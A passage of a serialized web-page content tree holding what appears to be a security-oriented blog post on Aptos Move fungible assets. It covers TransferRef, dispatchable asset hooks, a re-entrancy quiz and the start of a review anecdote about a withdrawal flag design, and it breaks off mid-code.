set_frozen_flag",{"type":23,"tag":314,"props":64704,"children":64705},{"style":338},[64706],{"type":28,"value":5060},{"type":23,"tag":314,"props":64708,"children":64709},{"style":2674},[64710],{"type":28,"value":5242},{"type":23,"tag":314,"props":64712,"children":64713},{"style":354},[64714],{"type":28,"value":3746},{"type":23,"tag":314,"props":64716,"children":64717},{"style":360},[64718],{"type":28,"value":5186},{"type":23,"tag":314,"props":64720,"children":64721},{"style":338},[64722],{"type":28,"value":5844},{"type":23,"tag":314,"props":64724,"children":64725},{"class":316,"line":370},[64726,64731,64735,64739,64743],{"type":23,"tag":314,"props":64727,"children":64728},{"style":321},[64729],{"type":28,"value":64730}," ref",{"type":23,"tag":314,"props":64732,"children":64733},{"style":354},[64734],{"type":28,"value":3746},{"type":23,"tag":314,"props":64736,"children":64737},{"style":354},[64738],{"type":28,"value":1968},{"type":23,"tag":314,"props":64740,"children":64741},{"style":2674},[64742],{"type":28,"value":64677},{"type":23,"tag":314,"props":64744,"children":64745},{"style":338},[64746],{"type":28,"value":1870},{"type":23,"tag":314,"props":64748,"children":64749},{"class":316,"line":380},[64750,64754,64758,64762,64766,64770],{"type":23,"tag":314,"props":64751,"children":64752},{"style":360},[64753],{"type":28,"value":28662},{"type":23,"tag":314,"props":64755,"children":64756},{"style":354},[64757],{"type":28,"value":3746},{"type":23,"tag":314,"props":64759,"children":64760},{"style":2674},[64761],{"type":28,"value":60813},{"type":23,"tag":314,"props":64763,"children":64764},{"style":338},[64765],{"type":28,"value":5060},{"type":23,"tag":314,"props":64767,"children":64768},{"style":2674},[64769],{"type":28,"value":5242},{"type":23,"tag":314,"props":64771,"children":64772},{"style":338},[64773],{"type":28,"value":5393},{"type":23,"tag":314,"props":64775,"children":64776},{"class":316,"line":1091},[64777,64781,64785,64789],{"type":23,"tag":314,"props":64778,"children":64779},{"style":360},[64780],{"type":28,"value":60465},{"type":23,"tag":314,"props":64782,"children":64783},{"style":354},[64784],{"type":28,"value":3746},{"type":23,"tag":314,"props":64786,"children":64787},{"style":2674},[64788],{"type":28,"value":11298},{"type":23,"tag":314,"props":64790,"children":64791},{"style":338},[64792],{"type":28,"value":1870},{"type":23,"tag":314,"props":64794,"children":64795},{"class":316,"line":1141},[64796],{"type":23,"tag":314,"props":64797,"children":64798},{"style":338},[64799],{"type":28,"value":2414},{"type":23,"tag":24,"props":64801,"children":64802},{},[64803,64804,64809,64810,64815],{"type":28,"value":92},{"type":23,"tag":94,"props":64805,"children":64807},{"className":64806},[],[64808],{"type":28,"value":48101},{"type":28,"value":5713},{"type":23,"tag":94,"props":64811,"children":64813},{"className":64812},[],[64814],{"type":28,"value":64677},{"type":28,"value":64816}," is used to transfer object ownership:",{"type":23,"tag":304,"props":64818,"children":64820},{"className":2234,"code":64819,"language":2233,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[64821],{"type":23,"tag":94,"props":64822,"children":64823},{"__ignoreMap":7},[64824,64832,64865,64884],{"type":23,"tag":314,"props":64825,"children":64826},{"class":316,"line":317},[64827],{"type":23,"tag":314,"props":64828,"children":64829},{"style":374},[64830],{"type":28,"value":64831},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":314,"props":64833,"children":64834},{"class":316,"line":370},[64835,64839,64844,64848,64853,64857,64861],{"type":23,"tag":314,"props":64836,"children":64837},{"style":321},[64838],{"type":28,"value":8651},{"type":23,"tag":314,"props":64840,"children":64841},{"style":2674},[64842],{"type":28,"value":64843}," TransferRef",{"type":23,"tag":314,"props":64845,"children":64846},{"style":360},[64847],{"type":28,"value":8660},{"type":23,"tag":314,"props":64849,"children":64850},{"style":360},[64851],{"type":28,"value":64852}," drop",{"type":23,"tag":314,"props":64854,"children":64855},{"style":338},[64856],{"type":28,"value":778},{"type":23,"tag":314,"props":64858,"children":64859},{"style":360},[64860],{"type":28,"value":5195},{"type":23,"tag":314,"props":64862,"children":64863},{"style":338},[64864],{"type":28,"value":1449},{"type":23,"tag":314,"props":64866,"children":64867},{"class":316,"line":380},[64868,64872,64876,64880],{"type":23,"tag":314,"props":64869,"children":64870},{"style":321},[64871],{"type":28,"value":20023},{"type":23,"tag":314,"props":64873,"children":64874},{"style":354},[64875],{"type":28,"value":3746},{"type":23,"tag":314,"props":64877,"children":64878},{"style":360},[64879],{"type":28,"value":5505},{"type":23,"tag":314,"props":64881,"children":64882},{"style":338},[64883],{"type":28,"value":1870},{"type":23,"tag":314,"props":64885,"children":64886},{"class":316,"line":1091},[64887],{"type":23,"tag":314,"props":64888,"children":64889},{"style":338},[64890],{"type":28,"value":386},{"type":23,"tag":24,"props":64892,"children":64893},{},[64894,64896,64901],{"type":28,"value":64895},"While the fungible asset's ",{"type":23,"tag":94,"props":64897,"children":64899},{"className":64898},[],[64900],{"type":28,"value":64677},{"type":28,"value":64902}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":304,"props":64904,"children":64906},{"className":2234,"code":64905,"language":2233,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[64907],{"type":23,"tag":94,"props":64908,"children":64909},{"__ignoreMap":7},[64910,64918,64926,64957,64984],{"type":23,"tag":314,"props":64911,"children":64912},{"class":316,"line":317},[64913],{"type":23,"tag":314,"props":64914,"children":64915},{"style":374},[64916],{"type":28,"value":64917},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":314,"props":64919,"children":64920},{"class":316,"line":370},[64921],{"type":23,"tag":314,"props":64922,"children":64923},{"style":374},[64924],{"type":28,"value":64925},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":314,"props":64927,"children":64928},{"class":316,"line":380},[64929,64933,64937,64941,64945,64949,64953],{"type":23,"tag":314,"props":64930,"children":64931},{"style":321},[64932],{"type":28,"value":8651},{"type":23,"tag":314,"props":64934,"children":64935},{"style":2674},[64936],{"type":28,"value":64843},{"type":23,"tag":314,"props":64938,"children":64939},{"style":360},[64940],{"type":28,"value":8660},{"type":23,"tag":314,"props":64942,"children":64943},{"style":360},[64944],{"type":28,"value":64852},{"type":23,"tag":314,"props":64946,"children":64947},{"style":338},[64948],{"type":28,"value":778},{"type":23,"tag":314,"props":64950,"children":64951},{"style":360},[64952],{"type":28,"value":5195},{"type":23,"tag":314,"props":64954,"children":64955},{"style":338},[64956],{"type":28,"value":1449},{"type":23,"tag":314,"props":64958,"children":64959},{"class":316,"line":1091},[64960,64964,64968,64972,64976,64980],{"type":23,"tag":314,"props":64961,"children":64962},{"style":360},[64963],{"type":28,"value":60804},{"type":23,"tag":314,"props":64965,"children":64966},{"style":354},[64967],{"type":28,"value":3746},{"type":23,"tag":314,"props":64969,"children":64970},{"style":2674},[64971],{"type":28,"value":60813},{"type":23,"tag":314,"props":64973,"children":64974},{"style":338},[64975],{"type":28,"value":5060},{"type":23,"tag":314,"props":64977,"children":64978},{"style":2674},[64979],{"type":28,"value":60822},{"type":23,"tag":314,"props":64981,"children":64982},{"style":338},[64983],{"type":28,"value":5247},{"type":23,"tag":314,"props":64985,"children":64986},{"class":316,"line":1141},[64987],{"type":23,"tag":314,"props":64988,"children":64989},{"style":338},[64990],{"type":28,"value":386},{"type":23,"tag":24,"props":64992,"children":64993},{},[64994,64996,65002,65004,65010],{"type":28,"value":64995},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":94,"props":64997,"children":64999},{"className":64998},[],[65000],{"type":28,"value":65001},"MintRef",{"type":28,"value":65003}," for minting and ",{"type":23,"tag":94,"props":65005,"children":65007},{"className":65006},[],[65008],{"type":28,"value":65009},"BurnRef",{"type":28,"value":65011}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":61,"props":65013,"children":65015},{"id":65014},"dispatchable-fungible-assets",[65016],{"type":28,"value":65017},"Dispatchable fungible assets",{"type":23,"tag":24,"props":65019,"children":65020},{},[65021],{"type":28,"value":65022},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":24,"props":65024,"children":65025},{},[65026],{"type":28,"value":65027},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":65029,"props":65030,"children":65031},"warning",{},[65032],{"type":23,"tag":24,"props":65033,"children":65034},{},[65035,65037,65043],{"type":28,"value":65036},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":94,"props":65038,"children":65040},{"className":65039},[],[65041],{"type":28,"value":65042},"transfer_assert_minimum_deposit",{"type":28,"value":65044}," that can help mitigate such risks.",{"type":23,"tag":24,"props":65046,"children":65047},{},[65048,65050,65055,65057,65064],{"type":28,"value":65049},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":94,"props":65051,"children":65053},{"className":65052},[],[65054],{"type":28,"value":60927},{"type":28,"value":65056}," to ensure ",{"type":23,"tag":31,"props":65058,"children":65061},{"href":65059,"rel":65060},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[35],[65062],{"type":28,"value":65063},"their signature remains immutable",{"type":28,"value":65065},". An example implementation might look like this:",{"type":23,"tag":304,"props":65067,"children":65069},{"className":2234,"code":65068,"language":2233,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[65070],{"type":23,"tag":94,"props":65071,"children":65072},{"__ignoreMap":7},[65073,65109,65136,65155,65179,65198,65206,65252,65259,65266,65302,65329,65349,65372,65379,65386,65430],{"type":23,"tag":314,"props":65074,"children":65075},{"class":316,"line":317},[65076,65080,65084,65089,65093,65097,65101,65105],{"type":23,"tag":314,"props":65077,"children":65078},{"style":360},[65079],{"type":28,"value":60927},{"type":23,"tag":314,"props":65081,"children":65082},{"style":360},[65083],{"type":28,"value":5462},{"type":23,"tag":314,"props":65085,"children":65086},{"style":360},[65087],{"type":28,"value":65088}," withdraw_hook",{"type":23,"tag":314,"props":65090,"children":65091},{"style":338},[65092],{"type":28,"value":5060},{"type":23,"tag":314,"props":65094,"children":65095},{"style":2674},[65096],{"type":28,"value":5242},{"type":23,"tag":314,"props":65098,"children":65099},{"style":354},[65100],{"type":28,"value":3746},{"type":23,"tag":314,"props":65102,"children":65103},{"style":360},[65104],{"type":28,"value":5186},{"type":23,"tag":314,"props":65106,"children":65107},{"style":338},[65108],{"type":28,"value":5844},{"type":23,"tag":314,"props":65110,"children":65111},{"class":316,"line":370},[65112,65116,65120,65124,65128,65132],{"type":23,"tag":314,"props":65113,"children":65114},{"style":360},[65115],{"type":28,"value":28662},{"type":23,"tag":314,"props":65117,"children":65118},{"style":354},[65119],{"type":28,"value":3746},{"type":23,"tag":314,"props":65121,"children":65122},{"style":2674},[65123],{"type":28,"value":60813},{"type":23,"tag":314,"props":65125,"children":65126},{"style":338},[65127],{"type":28,"value":5060},{"type":23,"tag":314,"props":65129,"children":65130},{"style":2674},[65131],{"type":28,"value":5242},{"type":23,"tag":314,"props":65133,"children":65134},{"style":338},[65135],{"type":28,"value":5393},{"type":23,"tag":314,"props":65137,"children":65138},{"class":316,"line":380},[65139,65143,65147,65151],{"type":23,"tag":314,"props":65140,"children":65141},{"style":360},[65142],{"type":28,"value":60834},{"type":23,"tag":314,"props":65144,"children":65145},{"style":354},[65146],{"type":28,"value":3746},{"type":23,"tag":314,"props":65148,"children":65149},{"style":2674},[65150],{"type":28,"value":5114},{"type":23,"tag":314,"props":65152,"children":65153},{"style":338},[65154],{"type":28,"value":1870},{"type":23,"tag":314,"props":65156,"children":65157},{"class":316,"line":1091},[65158,65163,65167,65171,65175],{"type":23,"tag":314,"props":65159,"children":65160},{"style":360},[65161],{"type":28,"value":65162}," transfer_ref",{"type":23,"tag":314,"props":65164,"children":65165},{"style":354},[65166],{"type":28,"value":3746},{"type":23,"tag":314,"props":65168,"children":65169},{"style":354},[65170],{"type":28,"value":1968},{"type":23,"tag":314,"props":65172,"children":65173},{"style":2674},[65174],{"type":28,"value":64677},{"type":23,"tag":314,"props":65176,"children":65177},{"style":338},[65178],{"type":28,"value":1870},{"type":23,"tag":314,"props":65180,"children":65181},{"class":316,"line":1141},[65182,65186,65190,65194],{"type":23,"tag":314,"props":65183,"children":65184},{"style":338},[65185],{"type":28,"value":431},{"type":23,"tag":314,"props":65187,"children":65188},{"style":354},[65189],{"type":28,"value":3746},{"type":23,"tag":314,"props":65191,"children":65192},{"style":2674},[65193],{"type":28,"value":60792},{"type":23,"tag":314,"props":65195,"children":65196},{"style":338},[65197],{"type":28,"value":1449},{"type":23,"tag":314,"props":65199,"children":65200},{"class":316,"line":1173},[65201],{"type":23,"tag":314,"props":65202,"children":65203},{"style":374},[65204],{"type":28,"value":65205}," //check paused, gather fees etc.\n",{"type":23,"tag":314,"props":65207,"children":65208},{"class":316,"line":1208},[65209,65214,65218,65223,65227,65232,65236,65240,65244,65248],{"type":23,"tag":314,"props":65210,"children":65211},{"style":338},[65212],{"type":28,"value":65213}," fungible_asset",{"type":23,"tag":314,"props":65215,"children":65216},{"style":354},[65217],{"type":28,"value":2737},{"type":23,"tag":314,"props":65219,"children":65220},{"style":332},[65221],{"type":28,"value":65222},"withdraw_with_ref",{"type":23,"tag":314,"props":65224,"children":65225},{"style":338},[65226],{"type":28,"value":341},{"type":23,"tag":314,"props":65228,"children":65229},{"style":360},[65230],{"type":28,"value":65231},"transfer_ref",{"type":23,"tag":314,"props":65233,"children":65234},{"style":338},[65235],{"type":28,"value":778},{"type":23,"tag":314,"props":65237,"children":65238},{"style":360},[65239],{"type":28,"value":5195},{"type":23,"tag":314,"props":65241,"children":65242},{"style":338},[65243],{"type":28,"value":778},{"type":23,"tag":314,"props":65245,"children":65246},{"style":360},[65247],{"type":28,"value":19544},{"type":23,"tag":314,"props":65249,"children":65250},{"style":338},[65251],{"type":28,"value":2414},{"type":23,"tag":314,"props":65253,"children":65254},{"class":316,"line":1216},[65255],{"type":23,"tag":314,"props":65256,"children":65257},{"style":338},[65258],{"type":28,"value":386},{"type":23,"tag":314,"props":65260,"children":65261},{"class":316,"line":1301},[65262],{"type":23,"tag":314,"props":65263,"children":65264},{"emptyLinePlaceholder":18},[65265],{"type":28,"value":1088},{"type":23,"tag":314,"props":65267,"children":65268},{"class":316,"line":1343},[65269,65273,65277,65282,65286,65290,65294,65298],{"type":23,"tag":314,"props":65270,"children":65271},{"style":360},[65272],{"type":28,"value":60927},{"type":23,"tag":314,"props":65274,"children":65275},{"style":360},[65276],{"type":28,"value":5462},{"type":23,"tag":314,"props":65278,"children":65279},{"style":360},[65280],{"type":28,"value":65281}," deposit_hook",{"type":23,"tag":314,"props":65283,"children":65284},{"style":338},[65285],{"type":28,"value":5060},{"type":23,"tag":314,"props":65287,"children":65288},{"style":2674},[65289],{"type":28,"value":5242},{"type":23,"tag":314,"props":65291,"children":65292},{"style":354},[65293],{"type":28,"value":3746},{"type":23,"tag":314,"props":65295,"children":65296},{"style":360},[65297],{"type":28,"value":5186},{"type":23,"tag":314,"props":65299,"children":65300},{"style":338},[65301],{"type":28,"value":5844},{"type":23,"tag":314,"props":65303,"children":65304},{"class":316,"line":1351},[65305,65309,65313,65317,65321,65325],{"type":23,"tag":314,"props":65306,"children":65307},{"style":360},[65308],{"type":28,"value":28662},{"type":23,"tag":314,"props":65310,"children":65311},{"style":354},[65312],{"type":28,"value":3746},{"type":23,"tag":314,"props":65314,"children":65315},{"style":2674},[65316],{"type":28,"value":60813},{"type":23,"tag":314,"props":65318,"children":65319},{"style":338},[65320],{"type":28,"value":5060},{"type":23,"tag":314,"props":65322,"children":65323},{"style":2674},[65324],{"type":28,"value":5242},{"type":23,"tag":314,"props":65326,"children":65327},{"style":338},[65328],{"type":28,"value":5393},{"type":23,"tag":314,"props":65330,"children":65331},{"class":316,"line":1387},[65332,65337,65341,65345],{"type":23,"tag":314,"props":65333,"children":65334},{"style":360},[65335],{"type":28,"value":65336}," fa",{"type":23,"tag":314,"props":65338,"children":65339},{"style":354},[65340],{"type":28,"value":3746},{"type":23,"tag":314,"props":65342,"children":65343},{"style":2674},[65344],{"type":28,"value":60792},{"type":23,"tag":314,"props":65346,"children":65347},{"style":338},[65348],{"type":28,"value":1870},{"type":23,"tag":314,"props":65350,"children":65351},{"class":316,"line":1422},[65352,65356,65360,65364,65368],{"type":23,"tag":314,"props":65353,"children":65354},{"style":360},[65355],{"type":28,"value":65162},{"type":23,"tag":314,"props":65357,"children":65358},{"style":354},[65359],{"type":28,"value":3746},{"type":23,"tag":314,"props":65361,"children":65362},{"style":354},[65363],{"type":28,"value":1968},{"type":23,"tag":314,"props":65365,"children":65366},{"style":2674},[65367],{"type":28,"value":64677},{"type":23,"tag":314,"props":65369,"children":65370},{"style":338},[65371],{"type":28,"value":1870},{"type":23,"tag":314,"props":65373,"children":65374},{"class":316,"line":1430},[65375],{"type":23,"tag":314,"props":65376,"children":65377},{"style":338},[65378],{"type":28,"value":367},{"type":23,"tag":314,"props":65380,"children":65381},{"class":316,"line":1452},[65382],{"type":23,"tag":314,"props":65383,"children":65384},{"style":374},[65385],{"type":28,"value":65205},{"type":23,"tag":314,"props":65387,"children":65388},{"class":316,"line":1497},[65389,65393,65397,65402,65406,65410,65414,65418,65422,65426],{"type":23,"tag":314,"props":65390,"children":65391},{"style":338},[65392],{"type":28,"value":65213},{"type":23,"tag":314,"props":65394,"children":65395},{"style":354},[65396],{"type":28,"value":2737},{"type":23,"tag":314,"props":65398,"children":65399},{"style":332},[65400],{"type":28,"value":65401},"deposit_with_ref",{"type":23,"tag":314,"props":65403,"children":65404},{"style":338},[65405],{"type":28,"value":341},{"type":23,"tag":314,"props":65407,"children":65408},{"style":360},[65409],{"type":28,"value":65231},{"type":23,"tag":314,"props":65411,"children":65412},{"style":338},[65413],{"type":28,"value":778},{"type":23,"tag":314,"props":65415,"children":65416},{"style":360},[65417],{"type":28,"value":5195},{"type":23,"tag":314,"props":65419,"children":65420},{"style":338},[65421],{"type":28,"value":778},{"type":23,"tag":314,"props":65423,"children":65424},{"style":360},[65425],{"type":28,"value":60985},{"type":23,"tag":314,"props":65427,"children":65428},{"style":338},[65429],{"type":28,"value":1025},{"type":23,"tag":314,"props":65431,"children":65432},{"class":316,"line":1539},[65433],{"type":23,"tag":314,"props":65434,"children":65435},{"style":338},[65436],{"type":28,"value":386},{"type":23,"tag":65438,"props":65439,"children":65440},"question",{},[65441,65468],{"type":23,"tag":24,"props":65442,"children":65443},{},[65444,65446,65452,65454,65460,65461,65467],{"type":28,"value":65445},"Why hook functions rely on ",{"type":23,"tag":94,"props":65447,"children":65449},{"className":65448},[],[65450],{"type":28,"value":65451},"*_with_ref",{"type":28,"value":65453}," calls? What would happen if the hook function called ",{"type":23,"tag":94,"props":65455,"children":65457},{"className":65456},[],[65458],{"type":28,"value":65459},"dispatchable_fungible_asset::withdraw",{"type":28,"value":16032},{"type":23,"tag":94,"props":65462,"children":65464},{"className":65463},[],[65465],{"type":28,"value":65466},"fungible_asset::withdraw_with_ref",{"type":28,"value":2409},{"type":23,"tag":65469,"props":65470,"children":65471},"template",{"v-slot:answer-0":7},[65472,65484],{"type":23,"tag":24,"props":65473,"children":65474},{},[65475,65477,65482],{"type":28,"value":65476},"A1: Hook functions rely on ",{"type":23,"tag":94,"props":65478,"children":65480},{"className":65479},[],[65481],{"type":28,"value":65451},{"type":28,"value":65483}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":24,"props":65485,"children":65486},{},[65487,65489,65494],{"type":28,"value":65488},"A2: A ",{"type":23,"tag":94,"props":65490,"children":65492},{"className":65491},[],[65493],{"type":28,"value":65459},{"type":28,"value":65495}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":24,"props":65497,"children":65498},{},[65499],{"type":28,"value":65500},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":304,"props":65502,"children":65504},{"className":2234,"code":65503,"language":2233,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[65505],{"type":23,"tag":94,"props":65506,"children":65507},{"__ignoreMap":7},[65508,65603,65623,65638,65658,65701,65716,65723,65730,65849,65868,65883,65902,65945],{"type":23,"tag":314,"props":65509,"children":65510},{"class":316,"line":317},[65511,65515,65519,65523,65527,65531,65535,65539,65543,65547,65551,65555,65559,65563,65567,65571,65575,65579,65583,65587,65591,65595,65599],{"type":23,"tag":314,"props":65512,"children":65513},{"style":360},[65514],{"type":28,"value":60927},{"type":23,"tag":314,"props":65516,"children":65517},{"style":360},[65518],{"type":28,"value":5462},{"type":23,"tag":314,"props":65520,"children":65521},{"style":360},[65522],{"type":28,"value":60936},{"type":23,"tag":314,"props":65524,"children":65525},{"style":338},[65526],{"type":28,"value":5060},{"type":23,"tag":314,"props":65528,"children":65529},{"style":2674},[65530],{"type":28,"value":5242},{"type":23,"tag":314,"props":65532,"children":65533},{"style":354},[65534],{"type":28,"value":3746},{"type":23,"tag":314,"props":65536,"children":65537},{"style":360},[65538],{"type":28,"value":5186},{"type":23,"tag":314,"props":65540,"children":65541},{"style":338},[65542],{"type":28,"value":6866},{"type":23,"tag":314,"props":65544,"children":65545},{"style":360},[65546],{"type":28,"value":5195},{"type":23,"tag":314,"props":65548,"children":65549},{"style":354},[65550],{"type":28,"value":3746},{"type":23,"tag":314,"props":65552,"children":65553},{"style":2674},[65554],{"type":28,"value":60813},{"type":23,"tag":314,"props":65556,"children":65557},{"style":338},[65558],{"type":28,"value":5060},{"type":23,"tag":314,"props":65560,"children":65561},{"style":2674},[65562],{"type":28,"value":5242},{"type":23,"tag":314,"props":65564,"children":65565},{"style":338},[65566],{"type":28,"value":5886},{"type":23,"tag":314,"props":65568,"children":65569},{"style":360},[65570],{"type":28,"value":60985},{"type":23,"tag":314,"props":65572,"children":65573},{"style":354},[65574],{"type":28,"value":3746},{"type":23,"tag":314,"props":65576,"children":65577},{"style":2674},[65578],{"type":28,"value":60792},{"type":23,"tag":314,"props":65580,"children":65581},{"style":338},[65582],{"type":28,"value":778},{"type":23,"tag":314,"props":65584,"children":65585},{"style":360},[65586],{"type":28,"value":65231},{"type":23,"tag":314,"props":65588,"children":65589},{"style":354},[65590],{"type":28,"value":3746},{"type":23,"tag":314,"props":65592,"children":65593},{"style":354},[65594],{"type":28,"value":1968},{"type":23,"tag":314,"props":65596,"children":65597},{"style":2674},[65598],{"type":28,"value":64677},{"type":23,"tag":314,"props":65600,"children":65601},{"style":338},[65602],{"type":28,"value":367},{"type":23,"tag":314,"props":65604,"children":65605},{"class":316,"line":370},[65606,65611,65615,65619],{"type":23,"tag":314,"props":65607,"children":65608},{"style":332},[65609],{"type":28,"value":65610}," assert_withdraw_flag",{"type":23,"tag":314,"props":65612,"children":65613},{"style":338},[65614],{"type":28,"value":341},{"type":23,"tag":314,"props":65616,"children":65617},{"style":321},[65618],{"type":28,"value":1481},{"type":23,"tag":314,"props":65620,"children":65621},{"style":338},[65622],{"type":28,"value":1025},{"type":23,"tag":314,"props":65624,"children":65625},{"class":316,"line":380},[65626,65630,65634],{"type":23,"tag":314,"props":65627,"children":65628},{"style":338},[65629],{"type":28,"value":61970},{"type":23,"tag":314,"props":65631,"children":65632},{"style":354},[65633],{"type":28,"value":8840},{"type":23,"tag":314,"props":65635,"children":65636},{"style":338},[65637],{"type":28,"value":11020},{"type":23,"tag":314,"props":65639,"children":65640},{"class":316,"line":1091},[65641,65646,65650,65654],{"type":23,"tag":314,"props":65642,"children":65643},{"style":332},[65644],{"type":28,"value":65645}," set_withdraw_flag",{"type":23,"tag":314,"props":65647,"children":65648},{"style":338},[65649],{"type":28,"value":341},{"type":23,"tag":314,"props":65651,"children":65652},{"style":321},[65653],{"type":28,"value":1532},{"type":23,"tag":314,"props":65655,"children":65656},{"style":338},[65657],{"type":28,"value":1025},{"type":23,"tag":314,"props":65659,"children":65660},{"class":316,"line":1141},[65661,65665,65669,65673,65677,65681,65685,65689,65693,65697],{"type":23,"tag":314,"props":65662,"children":65663},{"style":338},[65664],{"type":28,"value":65213},{"type":23,"tag":314,"props":65666,"children":65667},{"style":354},[65668],{"type":28,"value":2737},{"type":23,"tag":314,"props":65670,"children":65671},{"style":332},[65672],{"type":28,"value":65401},{"type":23,"tag":314,"props":65674,"children":65675},{"style":338},[65676],{"type":28,"value":341},{"type":23,"tag":314,"props":65678,"children":65679},{"style":360},[65680],{"type":28,"value":65231},{"type":23,"tag":314,"props":65682,"children":65683},{"style":338},[65684],{"type":28,"value":778},{"type":23,"tag":314,"props":65686,"children":65687},{"style":360},[65688],{"type":28,"value":5195},{"type":23,"tag":314,"props":65690,"children":65691},{"style":338},[65692],{"type":28,"value":778},{"type":23,"tag":314,"props":65694,"children":65695},{"style":360},[65696],{"type":28,"value":19544},{"type":23,"tag":314,"props":65698,"children":65699},{"style":338},[65700],{"type":28,"value":1025},{"type":23,"tag":314,"props":65702,"children":65703},{"class":316,"line":1173},[65704,65708,65712],{"type":23,"tag":314,"props":65705,"children":65706},{"style":338},[65707],{"type":28,"value":61970},{"type":23,"tag":314,"props":65709,"children":65710},{"style":354},[65711],{"type":28,"value":8840},{"type":23,"tag":314,"props":65713,"children":65714},{"style":338},[65715],{"type":28,"value":11020},{"type":23,"tag":314,"props":65717,"children":65718},{"class":316,"line":1208},[65719],{"type":23,"tag":314,"props":65720,"children":65721},{"style":338},[65722],{"type":28,"value":2610},{"type":23,"tag":314,"props":65724,"children":65725},{"class":316,"line":1216},[65726],{"type":23,"tag":314,"props":65727,"children":65728},{"emptyLinePlaceholder":18},[65729],{"type":28,"value":1088},{"type":23,"tag":314,"props":65731,"children":65732},{"class":316,"line":1301},[65733,65737,65741,65745,65749,65753,65757,65761,65765,65769,65773,65777,65781,65785,65789,65793,65797,65801,65805,65809,65813,65817,65821,65825,65829,65833,65837,65841,65845],{"type":23,"tag":314,"props":65734,"children":65735},{"style":360},[65736],{"type":28,"value":60927},{"type":23,"tag":314,"props":65738,"children":65739},{"style":360},[65740],{"type":28,"value":5462},{"type":23,"tag":314,"props":65742,"children":65743},{"style":360},[65744],{"type":28,"value":19509},{"type":23,"tag":314,"props":65746,"children":65747},{"style":338},[65748],{"type":28,"value":5060},{"type":23,"tag":314,"props":65750,"children":65751},{"style":2674},[65752],{"type":28,"value":5242},{"type":23,"tag":314,"props":65754,"children":65755},{"style":354},[65756],{"type":28,"value":3746},{"type":23,"tag":314,"props":65758,"children":65759},{"style":360},[65760],{"type":28,"value":5186},{"type":23,"tag":314,"props":65762,"children":65763},{"style":338},[65764],{"type":28,"value":6866},{"type":23,"tag":314,"props":65766,"children":65767},{"style":360},[65768],{"type":28,"value":5195},{"type":23,"tag":314,"props":65770,"children":65771},{"style":354},[65772],{"type":28,"value":3746},{"type":23,"tag":314,"props":65774,"children":65775},{"style":2674},[65776],{"type":28,"value":60813},{"type":23,"tag":314,"props":65778,"children":65779},{"style":338},[65780],{"type":28,"value":5060},{"type":23,"tag":314,"props":65782,"children":65783},{"style":2674},[65784],{"type":28,"value":5242},{"type":23,"tag":314,"props":65786,"children":65787},{"style":338},[65788],{"type":28,"value":5886},{"type":23,"tag":314,"props":65790,"children":65791},{"style":360},[65792],{"type":28,"value":19544},{"type":23,"tag":314,"props":65794,"children":65795},{"style":354},[65796],{"type":28,"value":3746},{"type":23,"tag":314,"props":65798,"children":65799},{"style":2674},[65800],{"type":28,"value":5114},{"type":23,"tag":314,"props":65802,"children":65803},{"style":338},[65804],{"type":28,"value":778},{"type":23,"tag":314,"props":65806,"children":65807},{"style":360},[65808],{"type":28,"value":65231},{"type":23,"tag":314,"props":65810,"children":65811},{"style":354},[65812],{"type":28,"value":3746},{"type":23,"tag":314,"props":65814,"children":65815},{"style":354},[65816],{"type":28,"value":1968},{"type":23,"tag":314,"props":65818,"children":65819},{"style":2674},[65820],{"type":28,"value":64677},{"type":23,"tag":314,"props":65822,"children":65823},{"style":338},[65824],{"type":28,"value":431},{"type":23,"tag":314,"props":65826,"children":65827},{"style":354},[65828],{"type":28,"value":3746},{"type":23,"tag":314,"props":65830,"children":65831},{"style":2674},[65832],{"type":28,"value":60792},{"type":23,"tag":314,"props":65834,"children":65835},{"style":360},[65836],{"type":28,"value":6822},{"type":23,"tag":314,"props":65838,"children":65839},{"style":338},[65840],{"type":28,"value":22270},{"type":23,"tag":314,"props":65842,"children":65843},{"style":354},